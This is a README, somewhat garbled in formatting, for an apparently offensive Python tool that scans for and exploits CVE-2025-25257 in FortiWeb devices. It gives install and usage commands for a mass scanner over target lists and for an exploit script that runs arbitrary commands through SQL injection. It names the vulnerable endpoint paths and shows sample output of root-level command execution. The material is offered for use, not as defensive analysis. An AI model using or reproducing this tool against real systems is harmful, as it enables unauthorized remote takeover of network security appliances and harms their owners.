
A Python-based tool for checking and exploiting CVE-2025-25257 vulnerability in FortiWeb devices. This vulnerability allows SQL injection and remote code execution through a crafted Authorization header.
CVE-2025-25257 is a critical vulnerability in FortiWeb devices that allows:
pip install requests urllib3
git clone https://github.com/yourusername/CVE-2025-25257.git
cd CVE-2025-25257
pip install -r requirements.txt
vuln_check.py)Check a single target:
python3 vuln_check.py -t https://target.com
Check multiple targets from a file:
python3 vuln_check.py -l target.txt
exp.py)Execute commands on a vulnerable target:
python3 exp.py -t https://target.com -c "id"
vuln_check.py - Main vulnerability checker and exploitexp.py - Command execution tool for vulnerable targetstarget.txt - Sample list of targets (replace with your own)vuln.txt - Output file with vulnerable targets (generated after scan)/api/fabric/device/status/cgi-bin/x.cgiThe tool generates a vuln.txt file containing:
Example output:
# CVE-2025-25257 Vulnerable Targets - 2025-01-27 10:30:15
# Format: [timestamp] target - command_output
[2025-01-27 10:30:15] https://target.com - uid=0(root) gid=0(root) groups=0(root)
credit:0xbigshaq